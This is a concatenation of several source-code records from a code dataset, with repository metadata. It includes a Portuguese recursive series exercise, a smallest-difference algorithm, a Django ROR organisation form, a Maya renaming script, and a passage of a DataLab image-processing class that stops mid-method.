main(args)\n\n","repo_name":"WeakKnight/GDC23_PracticalMobileRendering","sub_path":"PracticalMobileRendering/LocalPackages/com.unity.scripting.python/Editor/PipPackages/update_packages.py","file_name":"update_packages.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":272,"dataset":"github-code","pt":"60"}
+{"seq_id":"3343410704","text":"# calcular serie com n termos S = 37*38/1 - 36*37/2 + 35*36/3 - 32*34/4 + ...\n\ndef serie (n, num1 = 37, num2 = 38, den = 1):\n    \n    termo = (num1*num2)/den\n\n    if den % 2 == 0:\n        termo = - termo \n    \n    if n > 1:\n        termo = termo + serie(n-1,num1-1,num2-1,den+1)\n\n\n\n\n    return termo\n\n\n\n\nn = int(input('Digite a quantidade de termos da série: '))\nwhile n <= 0 or n >= 37:\n    n = int(input('ERRO. Digite a quantidade de termos positivo menor que 37: '))\n\nsoma = serie(n)\n\nprint(f'A soma da série com {n} termos é igual a {soma}')\n\n    \n\n","repo_name":"luizppbarbosa/UFPE-Introducao-a-Programacao","sub_path":"Arquivos/slide 11 exemplo 1.py","file_name":"slide 11 exemplo 1.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8922430194","text":"'''\n @author Sourabh Gome\n Time complexity  : O(n log(n) + m log(m)) \n Space complexity : O(1)\n'''\n\ndef smallestDifference(a,b):\n    a.sort()\n    b.sort()\n    smallest_dif=abs(a[0]-b[0])\n    result=[a[0], b[0]]\n    i=1\n    j=1\n    while i<len(a) and j<len(b):\n        if a[i]==b[j]:\n            return [a[i], b[j]]\n        elif a[i]<b[j]:\n            if smallest_dif > abs(a[i]-b[j]):\n                smallest_dif=abs(a[i]-b[j])\n                result=[a[i], b[j]]\n            i+=1\n        else:\n            if smallest_dif > abs(a[i]-b[j]):\n                smallest_dif=abs(a[i]-b[j])\n                result=[a[i], b[j]]\n            j+=1\n    return result\n\n#Driver code\na=[-1, 5, 10, 20, 28, 3]\nb=[26, 134, 135, 15, 17]\nprint(smallestDifference(a, b))","repo_name":"sourabhgome/DataStructures","sub_path":"AEQuestions/0018 - Smallest_difference/sorting.py","file_name":"sorting.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9161224252","text":"from django import forms\nfrom .models import Organization\nfrom .widgets import RORSelect2Widget\nimport json\nimport jsonschema\nimport os\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom crispy_forms.helper import FormHelper\nfrom crispy_bootstrap5.bootstrap5 import FloatingField, BS5Accordion\nfrom crispy_forms.layout import Layout, Field, ButtonHolder, Row, Column, Button, Div\nfrom crispy_forms.bootstrap import AccordionGroup\nimport requests\nfrom django.utils.translation import gettext as _\n\n\nclass ModelGetOrCreateField(forms.ModelMultipleChoiceField):\n\n    def prepare_value(self, value):\n        if value is None:\n            return value\n        value = super().prepare_value(value)\n        key = self.to_field_name or \"pk\"\n        for v in value:\n            self.queryset.get_or_create(**{key: v})\n        return super().prepare_value(value)\n\n\nclass ResearchOrganisationForm(forms.ModelForm):\n    # the field with which to query the ROR database\n    institution = forms.CharField(widget=RORSelect2Widget)\n\n    # a hidden field for storing the results returned from ROR\n    info = forms.JSONField(widget=forms.HiddenInput)\n\n    class Meta:\n        model = Organization\n        exclude = ['users', 'slug', 'geom', 'domains']\n\n    def full_clean(self):\n        if self.data:\n            # self.data is a querydict and is therefore immutable\n            # convert to a regular dict so we can add stuff\n            self.data = dict(self.data)\n\n            # for whatever reason this is return as a 1 length array\n            # which throws an error, retrieve the first item which is\n            # a json string\n            ROR = json.loads(self.data['info'][0])\n\n            for field in ['_resultId', 'disabled',\n                          'element', 'selected', 'text']:\n                # these fields are added by select2 but will not be accepted when\n                # validating against the jsonschema from ROR\n                del ROR[field]\n\n            self.data['info'] = json.dumps(ROR)\n\n            # update the original data dict with result from the json array\n            # which contains data from ROR\n            self.data.update(ROR)\n\n        return super().full_clean()\n\n    def clean_name(self):\n        \"\"\"Validate the incoming json structure agains the official ROR\n        json schema (https://github.com/ror-community/ror-schema).\n\n        .. note:\n\n        We are validating in the 'name' field because the 'json' field is\n        hidden and therefore feedback would not be visible to the user.\n\n        Raises:\n            ValidationError\n        \"\"\"\n        data = json.loads(self.data['info'])\n\n        # retrieve the current ROR schema which is stored locally in the\n        # static folder\n        with open(os.path.join(settings.STATIC_ROOT, 'ror/schema/ror_schema.json')) as f:\n            schema = json.load(f)\n\n        # validate against current ROR schema\n        try:\n            jsonschema.validate(data, schema)\n        except Exception as e:\n            raise ValidationError(\n                'Validation against the ROR json schema failed with the following message:\\n\\n{}'.format(\n                    e.message))\n\n        return self.cleaned_data['name']\n\n\nclass ResearchOrganizationHTMX(forms.Form):\n    id = forms.CharField(\n        label=_('Organisation'),\n        widget=RORSelect2Widget(\n            attrs={\n                'data-theme': 'bootstrap-5', }))\n\n    class Meta:\n        fields = ['id',]\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.helper = FormHelper(self)\n        self.helper.include_media = False\n        self.helper.attrs = {\n            'hx-post': '',\n            'hx-trigger': 'change',\n            'hx-target': '#affiliationList',\n            'hx-swap': \"beforeend\",\n        }\n\n    def fetch(self, id):\n        response = requests.get(f\"https://api.ror.org/organizations/{id}\")\n        return response.json()\n\n    def clean_id(self):\n        id = self.cleaned_data['id']\n        data = self.fetch(id)\n\n        with open(os.path.join(settings.STATIC_ROOT, 'ror/schema/ror_schema.json')) as f:\n            schema = json.load(f)\n\n        # validate against current ROR schema\n        try:\n            jsonschema.validate(data, schema)\n        except Exception as e:\n            raise ValidationError(\n                'Validation against the ROR json schema failed with the following message:\\n\\n{}'.format(\n                    e.message))\n        self.cleaned_data['info'] = data\n        return self.cleaned_data['id']\n","repo_name":"SSJenny90/django-ror","sub_path":"ror/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34026726074","text":"# Import the Maya commands library\r\nfrom maya import cmds\r\n\r\nappendString = 'null'\r\n\r\ndef showWindow():\r\n    append_window = cmds.window( title=\"Name Append Tool\", iconName='NAT', widthHeight=(275, 150) )\r\n\r\n    # As we add contents to the window, align them vertically\r\n    cmds.columnLayout( adjustableColumn=True )\r\n\r\n    cmds.rowLayout(numberOfColumns=2)\r\n\r\n    cmds.text( 'Append String: ' )\r\n    appendField = cmds.textField()\r\n    cmds.textField( appendField, edit=True, aie=True, cc=lambda x: set_append_string(appendField) )\r\n\r\n    cmds.setParent('..')\r\n\r\n\r\n    cmds.rowLayout(numberOfColumns=2)\r\n\r\n\r\n    cmds.button( label='Append String to Hierarchy', command=append_string )\r\n\r\n    cmds.button( label='Close', command=('cmds.deleteUI(\\\"' + append_window + '\\\", window=True)') )\r\n\r\n    cmds.setParent( '..' )\r\n\r\n    cmds.showWindow( append_window )\r\n\r\ndef set_append_string(*args):\r\n    global appendString\r\n    appendString = cmds.textField(args[0], q=1, text=1)\r\n\r\n\r\ndef append_string(*args):\r\n    children_nodes = cmds.listRelatives(allDescendents=True, s=False)\r\n    cmds.select(children_nodes, add=True )\r\n    nodes = cmds.ls(s=False, sl=True)\r\n    for obj in nodes:\r\n        if 'Shape' in obj:\r\n            pass\r\n        else:\r\n            newName = obj + appendString\r\n            cmds.rename(obj, newName)\r\n\r\n    cmds.deleteUI('Name Append Tool')      ","repo_name":"jhowell702/QuickCommands-MayaPython","sub_path":"appendName.py","file_name":"appendName.py","file_ext":"py","file_size_in_byte":1371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14313736424","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the terms of the BSD 3-Clause\n# (see cdl/LICENSE for details)\n\n\"\"\"\nImage Processor\n---------------\n\n\"\"\"\n\n# pylint: disable=invalid-name  # Allows short reference names like x, y, ...\n\nfrom __future__ import annotations\n\nfrom collections.abc import Callable\n\nimport numpy as np\nfrom guidata.qthelpers import exec_dialog\nfrom numpy import ma\nfrom plotpy.widgets.resizedialog import ResizeDialog\nfrom qtpy import QtWidgets as QW\n\nimport cdl.core.computation.base as cpb\nimport cdl.core.computation.image as cpi\nimport cdl.core.computation.image.detection as cpi_det\nimport cdl.core.computation.image.edges as cpi_edg\nimport cdl.core.computation.image.exposure as cpi_exp\nimport cdl.core.computation.image.morphology as cpi_mor\nimport cdl.core.computation.image.restoration as cpi_res\nimport cdl.param\nfrom cdl.algorithms.image import distance_matrix\nfrom cdl.config import APP_NAME, Conf, _\nfrom cdl.core.gui.processor.base import BaseProcessor\nfrom cdl.core.model.base import ShapeTypes\nfrom cdl.core.model.image import ImageObj\nfrom cdl.utils.qthelpers import create_progress_bar, qt_try_except\n\n\nclass ImageProcessor(BaseProcessor):\n    \"\"\"Object handling image processing: operations, processing, computing\"\"\"\n\n    # pylint: disable=duplicate-code\n\n    EDIT_ROI_PARAMS = True\n\n    @qt_try_except()\n    def compute_sum(self) -> None:\n        \"\"\"Compute sum\"\"\"\n        self.compute_n1(\"Σ\", cpi.compute_add, title=_(\"Sum\"))\n\n    @qt_try_except()\n    def compute_average(self) -> None:\n        \"\"\"Compute average\"\"\"\n\n        def func_objs(new_obj: ImageObj, old_objs: list[ImageObj]) -> None:\n            \"\"\"Finalize average computation\"\"\"\n            new_obj.data = new_obj.data / float(len(old_objs))\n\n        self.compute_n1(\"μ\", cpi.compute_add, func_objs=func_objs, title=_(\"Average\"))\n\n    @qt_try_except()\n    def compute_product(self) -> None:\n        \"\"\"Compute product\"\"\"\n        self.compute_n1(\"Π\", cpi.compute_product, title=_(\"Product\"))\n\n    @qt_try_except()\n    def compute_logp1(self, param: cdl.param.LogP1Param | None = None) -> None:\n        \"\"\"Compute base 10 logarithm\"\"\"\n        self.compute_11(cpi.compute_logp1, param, cpi.LogP1Param, title=\"Log10\")\n\n    @qt_try_except()\n    def compute_rotate(self, param: cdl.param.RotateParam | None = None) -> None:\n        \"\"\"Rotate data arbitrarily\"\"\"\n        self.compute_11(cpi.compute_rotate, param, cpi.RotateParam, title=\"Rotate\")\n\n    @qt_try_except()\n    def compute_rotate90(self) -> None:\n        \"\"\"Rotate data 90°\"\"\"\n        self.compute_11(cpi.compute_rotate90, title=\"Rotate90\")\n\n    @qt_try_except()\n    def compute_rotate270(self) -> None:\n        \"\"\"Rotate data 270°\"\"\"\n        self.compute_11(cpi.compute_rotate270, title=\"Rotate270\")\n\n    @qt_try_except()\n    def compute_fliph(self) -> None:\n        \"\"\"Flip data horizontally\"\"\"\n        self.compute_11(cpi.compute_fliph, title=\"HFlip\")\n\n    @qt_try_except()\n    def compute_flipv(self) -> None:\n        \"\"\"Flip data vertically\"\"\"\n        self.compute_11(cpi.compute_flipv, title=\"VFlip\")\n\n    @qt_try_except()\n    def distribute_on_grid(self, param: cdl.param.GridParam | None = None) -> None:\n        \"\"\"Distribute images on a grid\"\"\"\n        title = _(\"Distribute on grid\")\n        edit, param = self.init_param(param, cpi.GridParam, title)\n        if edit and not param.edit(parent=self.panel.parent()):\n            return\n        objs = self.panel.objview.get_sel_objects(include_groups=True)\n        g_row, g_col, x0, y0, x0_0, y0_0 = 0, 0, 0.0, 0.0, 0.0, 0.0\n        delta_x0, delta_y0 = 0.0, 0.0\n        with create_progress_bar(self.panel, title, max_=len(objs)) as progress:\n            for i_row, obj in enumerate(objs):\n                progress.setValue(i_row + 1)\n                QW.QApplication.processEvents()\n                if progress.wasCanceled():\n                    break\n                if i_row == 0:\n                    x0_0, y0_0 = x0, y0 = obj.x0, obj.y0\n                else:\n                    delta_x0, delta_y0 = x0 - obj.x0, y0 - obj.y0\n                    obj.x0 += delta_x0\n                    obj.y0 += delta_y0\n\n                    # pylint: disable=unused-argument\n                    def translate_coords(obj, orig, coords):\n                        \"\"\"Apply translation to coords\"\"\"\n                        coords[:, ::2] += delta_x0\n                        coords[:, 1::2] += delta_y0\n\n                    obj.transform_shapes(None, translate_coords)\n                if param.direction == \"row\":\n                    # Distributing images over rows\n                    sign = np.sign(param.rows)\n                    g_row = (g_row + sign) % param.rows\n                    y0 += (obj.dy * obj.data.shape[0] + param.rowspac) * sign\n                    if g_row == 0:\n                        g_col += 1\n                        x0 += obj.dx * obj.data.shape[1] + param.colspac\n                        y0 = y0_0\n                else:\n                    # Distributing images over columns\n                    sign = np.sign(param.cols)\n                    g_col = (g_col + sign) % param.cols\n                    x0 += (obj.dx * obj.data.shape[1] + param.colspac) * sign\n                    if g_col == 0:\n                        g_row += 1\n                        x0 = x0_0\n                        y0 += obj.dy * obj.data.shape[0] + param.rowspac\n        self.panel.SIG_REFRESH_PLOT.emit(\"selected\", True)\n\n    @qt_try_except()\n    def reset_positions(self) -> None:\n        \"\"\"Reset image positions\"\"\"\n        x0_0, y0_0 = 0.0, 0.0\n        delta_x0, delta_y0 = 0.0, 0.0\n        objs = self.panel.objview.get_sel_objects(include_groups=True)\n        for i_row, obj in enumerate(objs):\n            if i_row == 0:\n                x0_0, y0_0 = obj.x0, obj.y0\n            else:\n                delta_x0, delta_y0 = x0_0 - obj.x0, y0_0 - obj.y0\n                obj.x0 += delta_x0\n                obj.y0 += delta_y0\n\n                # pylint: disable=unused-argument\n                def translate_coords(obj, orig, coords):\n                    \"\"\"Apply translation to coords\"\"\"\n                    coords[:, ::2] += delta_x0\n                    coords[:, 1::2] += delta_y0\n\n                obj.transform_shapes(None, translate_coords)\n        self.panel.SIG_REFRESH_PLOT.emit(\"selected\", True)\n\n    @qt_try_except()\n    def compute_resize(self, param: cdl.param.ResizeParam | None = None) -> None:\n        \"\"\"Resize image\"\"\"\n        obj0 = self.panel.objview.get_sel_objects()[0]\n        for obj in self.panel.objview.get_sel_objects():\n            if obj.size != obj0.size:\n                QW.QMessageBox.warning(\n                    self.panel.parent(),\n                    APP_NAME,\n                    _(\"Warning:\")\n                    + \"\\n\"\n                    + _(\"Selected images do not have the same size\"),\n                )\n        edit, param = self.init_param(param, cpi.ResizeParam, _(\"Resize\"))\n        if edit:\n            original_size = obj0.size\n            dlg = ResizeDialog(\n                self.plotwidget,\n                new_size=original_size,\n                old_size=original_size,\n                text=_(\"Destination size:\"),\n            )\n            if not exec_dialog(dlg):\n                return\n            param.zoom = dlg.get_zoom()\n        self.compute_11(cpi.compute_resize, param, title=_(\"Resize\"), edit=edit)\n\n    @qt_try_except()\n    def compute_binning(self, param: cdl.param.BinningParam | None = None) -> None:\n        \"\"\"Binning image\"\"\"\n        edit = param is None\n        obj0 = self.panel.objview.get_sel_objects(include_groups=True)[0]\n        input_dtype_str = str(obj0.data.dtype)\n        title = _(\"Binning\")\n        edit, param = self.init_param(param, cpi.BinningParam, title)\n        if edit:\n            param.dtype_str = input_dtype_str\n        if param.dtype_str is None:\n            param.dtype_str = input_dtype_str\n        self.compute_11(cpi.compute_binning, param, title=title, edit=edit)\n\n    @qt_try_except()\n    def compute_roi_extraction(\n        self, param: cdl.param.ROIDataParam | None = None\n    ) -> None:\n        \"\"\"Extract Region Of Interest (ROI) from data\"\"\"\n        param = self._get_roidataparam(param)\n        if param is None or param.is_empty:\n            return\n        obj = self.panel.objview.get_sel_objects()[0]\n        group = obj.roidata_to_params(param.roidata)\n        if param.singleobj:\n            self.compute_11(cpi.extract_multiple_roi, group, title=_(\"Extract ROI\"))\n        else:\n            self.compute_1n(cpi.extract_single_roi, group.datasets, \"ROI\", edit=False)\n\n    @qt_try_except()\n    def compute_profile(self, param: cdl.param.ProfileParam | None = None) -> None:\n        \"\"\"Compute profile\"\"\"\n        self.compute_11(\n            cpi.compute_profile, param, cdl.param.ProfileParam, title=_(\"Profile\")\n        )\n\n    @qt_try_except()\n    def compute_average_profile(\n        self, param: cdl.param.AverageProfileParam | None = None\n    ) -> None:\n        \"\"\"Compute average profile\"\"\"\n        self.compute_11(\n            cpi.compute_average_profile,\n            param,\n            cdl.param.AverageProfileParam,\n            title=_(\"Average profile\"),\n        )\n\n    @qt_try_except()\n    def compute_swap_axes(self) -> None:\n        \"\"\"Swap data axes\"\"\"\n        self.compute_11(cpi.compute_swap_axes, title=_(\"Swap axes\"))\n\n    @qt_try_except()\n    def compute_abs(self) -> None:\n        \"\"\"Compute absolute value\"\"\"\n        self.compute_11(cpi.compute_abs, title=_(\"Absolute value\"))\n\n    @qt_try_except()\n    def compute_re(self) -> None:\n        \"\"\"Compute real part\"\"\"\n        self.compute_11(cpi.compute_re, title=_(\"Real part\"))\n\n    @qt_try_except()\n    def compute_im(self) -> None:\n        \"\"\"Compute imaginary part\"\"\"\n        self.compute_11(cpi.compute_im, title=_(\"Imaginary part\"))\n\n    @qt_try_except()\n    def compute_astype(self, param: cdl.param.DataTypeIParam | None = None) -> None:\n        \"\"\"Convert data type\"\"\"\n        self.compute_11(\n            cpi.compute_astype, param, cpi.DataTypeIParam, title=_(\"Convert data type\")\n        )\n\n    @qt_try_except()\n    def compute_log10(self) -> None:\n        \"\"\"Compute Log10\"\"\"\n        self.compute_11(cpi.compute_log10, title=\"Log10\")\n\n    @qt_try_except()\n    def compute_difference(self, obj2: ImageObj | None = None) -> None:\n        \"\"\"Compute difference between two images\"\"\"\n        self.compute_n1n(\n            obj2,\n            _(\"image to subtract\"),\n            cpi.compute_difference,\n            title=_(\"Difference\"),\n        )\n\n    @qt_try_except()\n    def compute_quadratic_difference(self, obj2: ImageObj | None = None) -> None:\n        \"\"\"Compute quadratic difference between two images\"\"\"\n        self.compute_n1n(\n            obj2,\n            _(\"image to subtract\"),\n            cpi.compute_quadratic_difference,\n            title=_(\"Quadratic difference\"),\n        )\n\n    @qt_try_except()\n    def compute_division(self, obj2: ImageObj | None = None) -> None:\n        \"\"\"Compute division between two images\"\"\"\n        self.compute_n1n(\n            obj2,\n            _(\"divider\"),\n            cpi.compute_division,\n            title=_(\"Division\"),\n        )\n\n    @qt_try_except()\n    def compute_flatfield(\n        self,\n        obj2: ImageObj | None = None,\n        param: cdl.param.FlatFieldParam | None = None,\n    ) -> None:\n        \"\"\"Compute flat field correction\"\"\"\n        edit, param = self.init_param(param, cpi.FlatFieldParam, _(\"Flat field\"))\n        if edit:\n            obj = self.panel.objview.get_sel_objects()[0]\n            param.set_from_datatype(obj.data.dtype)\n        self.compute_n1n(\n            obj2,\n            _(\"flat field image\"),\n            cpi.compute_flatfield,\n            param=param,\n            title=_(\"Flat field correction\"),\n            edit=edit,\n        )\n\n    # ------Image Processing\n    @qt_try_except()\n    def compute_calibration(\n        self, param: cdl.param.ZCalibrateParam | None = None\n    ) -> None:\n        \"\"\"Compute data linear calibration\"\"\"\n        self.compute_11(\n            cpi.compute_calibration,\n            param,\n            cpi.ZCalibrateParam,\n            _(\"Linear calibration\"),\n            \"y = a.x + b\",\n        )\n\n    @qt_try_except()\n    def compute_threshold(self, param: cpb.ThresholdParam | None = None) -> None:\n        \"\"\"Compute threshold clipping\"\"\"\n        self.compute_11(\n            cpi.compute_threshold,\n            param,\n            cpb.ThresholdParam,\n            _(\"Thresholding\"),\n        )\n\n    @qt_try_except()\n    def compute_clip(self, param: cpb.ClipParam | None = None) -> None:\n        \"\"\"Compute maximum data clipping\"\"\"\n        self.compute_11(\n            cpi.compute_clip,\n            param,\n            cpb.ClipParam,\n            _(\"Clipping\"),\n        )\n\n    @qt_try_except()\n    def compute_gaussian_filter(self, param: cpb.GaussianParam | None = None) -> None:\n        \"\"\"Compute gaussian filter\"\"\"\n        self.compute_11(\n            cpi.compute_gaussian_filter, param, cpb.GaussianParam, _(\"Gaussian filter\")\n        )\n\n    @qt_try_except()\n    def compute_moving_average(\n        self, param: cpb.MovingAverageParam | None = None\n    ) -> None:\n        \"\"\"Compute moving average\"\"\"\n        self.compute_11(\n            cpi.compute_moving_average,\n            param,\n            cpb.MovingAverageParam,\n            _(\"Moving average\"),\n        )\n\n    @qt_try_except()\n    def compute_moving_median(self, param: cpb.MovingMedianParam | None = None) -> None:\n        \"\"\"Compute moving median\"\"\"\n        self.compute_11(\n            cpi.compute_moving_median,\n            param,\n            cpb.MovingMedianParam,\n            _(\"Moving median\"),\n        )\n\n    @qt_try_except()\n    def compute_wiener(self) -> None:\n        \"\"\"Compute Wiener filter\"\"\"\n        self.compute_11(cpi.compute_wiener, title=_(\"Wiener filter\"))\n\n    @qt_try_except()\n    def compute_fft(self, param: cdl.param.FFTParam | None = None) -> None:\n        \"\"\"Compute FFT\"\"\"\n        if param is None:\n            param = cpb.FFTParam.create(shift=Conf.proc.fft_shift_enabled.get())\n        self.compute_11(cpi.compute_fft, param, title=\"FFT\", edit=False)\n\n    @qt_try_except()\n    def compute_ifft(self, param: cdl.param.FFTParam | None = None) -> None:\n        \"Compute iFFT\" \"\"\n        if param is None:\n            param = cpb.FFTParam.create(shift=Conf.proc.fft_shift_enabled.get())\n        self.compute_11(cpi.compute_ifft, param, title=\"iFFT\", edit=False)\n\n    @qt_try_except()\n    def compute_butterworth(\n        self, param: cdl.param.ButterworthParam | None = None\n    ) -> None:\n        \"\"\"Compute Butterworth filter\"\"\"\n        self.compute_11(\n            cpi.compute_butterworth,\n            param,\n            cpi.ButterworthParam,\n            _(\"Butterworth filter\"),\n        )\n\n    @qt_try_except()\n    def compute_adjust_gamma(\n        self, param: cdl.param.AdjustGammaParam | None = None\n    ) -> None:\n        \"\"\"Compute gamma correction\"\"\"\n        self.compute_11(\n            cpi_exp.compute_adjust_gamma,\n            param,\n            cpi_exp.AdjustGammaParam,\n            _(\"Gamma correction\"),\n        )\n\n    @qt_try_except()\n    def compute_adjust_log(self, param: cdl.param.AdjustLogParam | None = None) -> None:\n        \"\"\"Compute log correction\"\"\"\n        self.compute_11(\n            cpi_exp.compute_adjust_log,\n            param,\n            cpi_exp.AdjustLogParam,\n            _(\"Log correction\"),\n        )\n\n    @qt_try_except()\n    def compute_adjust_sigmoid(\n        self,\n        param: cdl.param.AdjustSigmoidParam | None = None,\n    ) -> None:\n        \"\"\"Compute sigmoid correction\"\"\"\n        self.compute_11(\n            cpi_exp.compute_adjust_sigmoid,\n            param,\n            cpi_exp.AdjustSigmoidParam,\n            _(\"Sigmoid correction\"),\n        )\n\n    @qt_try_except()\n    def compute_rescale_intensity(\n        self,\n        param: cdl.param.RescaleIntensityParam | None = None,\n    ) -> None:\n        \"\"\"Rescale image intensity levels\"\"\"\n        self.compute_11(\n            cpi_exp.compute_rescale_intensity,\n            param,\n            cpi_exp.RescaleIntensityParam,\n            _(\"Rescale intensity\"),\n        )\n\n    @qt_try_except()\n    def compute_equalize_hist(\n        self, param: cdl.param.EqualizeHistParam | None = None\n    ) -> None:\n        \"\"\"Histogram equalization\"\"\"\n        self.compute_11(\n            cpi_exp.compute_equalize_hist,\n            param,\n            cpi_exp.EqualizeHistParam,\n            _(\"Histogram equalization\"),\n        )\n\n    @qt_try_except()\n    def compute_equalize_adapthist(\n        self,\n        param: cdl.param.EqualizeAdaptHistParam | None = None,\n    ) -> None:\n        \"\"\"Adaptive histogram equalization\"\"\"\n        self.compute_11(\n            cpi_exp.compute_equalize_adapthist,\n            param,\n            cpi_exp.EqualizeAdaptHistParam,\n            _(\"Adaptive histogram equalization\"),\n        )\n\n    @qt_try_except()\n    def compute_denoise_tv(self, param: cdl.param.DenoiseTVParam | None = None) -> None:\n        \"\"\"Compute Total Variation denoising\"\"\"\n        self.compute_11(\n            cpi_res.compute_denoise_tv,\n            param,\n            cpi_res.DenoiseTVParam,\n            _(\"Total variation denoising\"),\n        )\n\n    @qt_try_except()\n    def compute_denoise_bilateral(\n        self,\n        param: cdl.param.DenoiseBilateralParam | None = None,\n    ) -> None:\n        \"\"\"Compute bilateral filter denoising\"\"\"\n        self.compute_11(\n            cpi_res.compute_denoise_bilateral,\n            param,\n            cpi_res.DenoiseBilateralParam,\n            _(\"Bilateral filter denoising\"),\n        )\n\n    @qt_try_except()\n    def compute_denoise_wavelet(\n        self,\n        param: cdl.param.DenoiseWaveletParam | None = None,\n    ) -> None:\n        \"\"\"Compute Wavelet denoising\"\"\"\n        self.compute_11(\n            cpi_res.compute_denoise_wavelet,\n            param,\n            cpi_res.DenoiseWaveletParam,\n            _(\"Wavelet denoising\"),\n        )\n\n    @qt_try_except()\n    def compute_denoise_tophat(\n        self, param: cdl.param.MorphologyParam | None = None\n    ) -> None:\n        \"\"\"Denoise using White Top-Hat\"\"\"\n        self.compute_11(\n            cpi_res.compute_denoise_tophat,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Denoise / Top-Hat\"),\n        )\n\n    @qt_try_except()\n    def compute_all_denoise(self, params: list | None = None) -> None:\n        \"\"\"Compute all denoising filters\"\"\"\n        if params is not None:\n            assert len(params) == 4, \"Wrong number of parameters (4 expected)\"\n        funcs = [\n            cpi_res.compute_denoise_tv,\n            cpi_res.compute_denoise_bilateral,\n            cpi_res.compute_denoise_wavelet,\n            cpi_res.compute_denoise_tophat,\n        ]\n        edit = params is None\n        if edit:\n            params = []\n            for paramclass, title in (\n                (cpi_res.DenoiseTVParam, _(\"Total variation denoising\")),\n                (cpi_res.DenoiseBilateralParam, _(\"Bilateral filter denoising\")),\n                (cpi_res.DenoiseWaveletParam, _(\"Wavelet denoising\")),\n                (cpi_mor.MorphologyParam, _(\"Denoise / Top-Hat\")),\n            ):\n                param = paramclass(title)\n                self.update_param_defaults(param)\n                params.append(param)\n        self.compute_1n(funcs, params, \"Denoise\", edit=edit)\n\n    @qt_try_except()\n    def compute_white_tophat(\n        self, param: cdl.param.MorphologyParam | None = None\n    ) -> None:\n        \"\"\"Compute White Top-Hat\"\"\"\n        self.compute_11(\n            cpi_mor.compute_white_tophat,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"White Top-Hat\"),\n        )\n\n    @qt_try_except()\n    def compute_black_tophat(\n        self, param: cdl.param.MorphologyParam | None = None\n    ) -> None:\n        \"\"\"Compute Black Top-Hat\"\"\"\n        self.compute_11(\n            cpi_mor.compute_black_tophat,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Black Top-Hat\"),\n        )\n\n    @qt_try_except()\n    def compute_erosion(self, param: cdl.param.MorphologyParam | None = None) -> None:\n        \"\"\"Compute Erosion\"\"\"\n        self.compute_11(\n            cpi_mor.compute_erosion,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Erosion\"),\n        )\n\n    @qt_try_except()\n    def compute_dilation(self, param: cdl.param.MorphologyParam | None = None) -> None:\n        \"\"\"Compute Dilation\"\"\"\n        self.compute_11(\n            cpi_mor.compute_dilation,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Dilation\"),\n        )\n\n    @qt_try_except()\n    def compute_opening(self, param: cdl.param.MorphologyParam | None = None) -> None:\n        \"\"\"Compute morphological opening\"\"\"\n        self.compute_11(\n            cpi_mor.compute_opening,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Opening\"),\n        )\n\n    @qt_try_except()\n    def compute_closing(self, param: cdl.param.MorphologyParam | None = None) -> None:\n        \"\"\"Compute morphological closing\"\"\"\n        self.compute_11(\n            cpi_mor.compute_closing,\n            param,\n            cpi_mor.MorphologyParam,\n            _(\"Closing\"),\n        )\n\n    @qt_try_except()\n    def compute_all_morphology(\n        self, param: cdl.param.MorphologyParam | None = None\n    ) -> None:\n        \"\"\"Compute all morphology filters\"\"\"\n        if param is None:\n            param = cpi_mor.MorphologyParam()\n            if not param.edit(parent=self.panel.parent()):\n                return\n        funcs = [\n            cpi_mor.compute_white_tophat,\n            cpi_mor.compute_black_tophat,\n            cpi_mor.compute_erosion,\n            cpi_mor.compute_dilation,\n            cpi_mor.compute_opening,\n            cpi_mor.compute_closing,\n        ]\n        self.compute_1n(funcs, [param] * len(funcs), \"Morph\", edit=False)\n\n    @qt_try_except()\n    def compute_canny(self, param: cdl.param.CannyParam | None = None) -> None:\n        \"\"\"Compute Canny filter\"\"\"\n        self.compute_11(\n            cpi_edg.compute_canny,\n            param,\n            cpi_edg.CannyParam,\n            _(\"Canny filter\"),\n        )\n\n    @qt_try_except()\n    def compute_roberts(self) -> None:\n        \"\"\"Compute Roberts filter\"\"\"\n        self.compute_11(cpi_edg.compute_roberts, title=_(\"Roberts filter\"))\n\n    @qt_try_except()\n    def compute_prewitt(self) -> None:\n        \"\"\"Compute Prewitt filter\"\"\"\n        self.compute_11(cpi_edg.compute_prewitt, title=_(\"Prewitt filter\"))\n\n    @qt_try_except()\n    def compute_prewitt_h(self) -> None:\n        \"\"\"Compute Prewitt filter (horizontal)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_prewitt_h,\n            title=_(\"Prewitt filter (horizontal)\"),\n        )\n\n    @qt_try_except()\n    def compute_prewitt_v(self) -> None:\n        \"\"\"Compute Prewitt filter (vertical)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_prewitt_v,\n            title=_(\"Prewitt filter (vertical)\"),\n        )\n\n    @qt_try_except()\n    def compute_sobel(self) -> None:\n        \"\"\"Compute Sobel filter\"\"\"\n        self.compute_11(cpi_edg.compute_sobel, title=_(\"Sobel filter\"))\n\n    @qt_try_except()\n    def compute_sobel_h(self) -> None:\n        \"\"\"Compute Sobel filter (horizontal)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_sobel_h,\n            title=_(\"Sobel filter (horizontal)\"),\n        )\n\n    @qt_try_except()\n    def compute_sobel_v(self) -> None:\n        \"\"\"Compute Sobel filter (vertical)\"\"\"\n        self.compute_11(\n            cpi_edg.compute_sobel_v,\n            title=_(\"Sobel filter (vertical)\"),\n        )\n\n    @qt_try_except()\n    def compute_scharr(self) -> None:\n        \"\"\"Compute Scharr filter\"\"\"\n        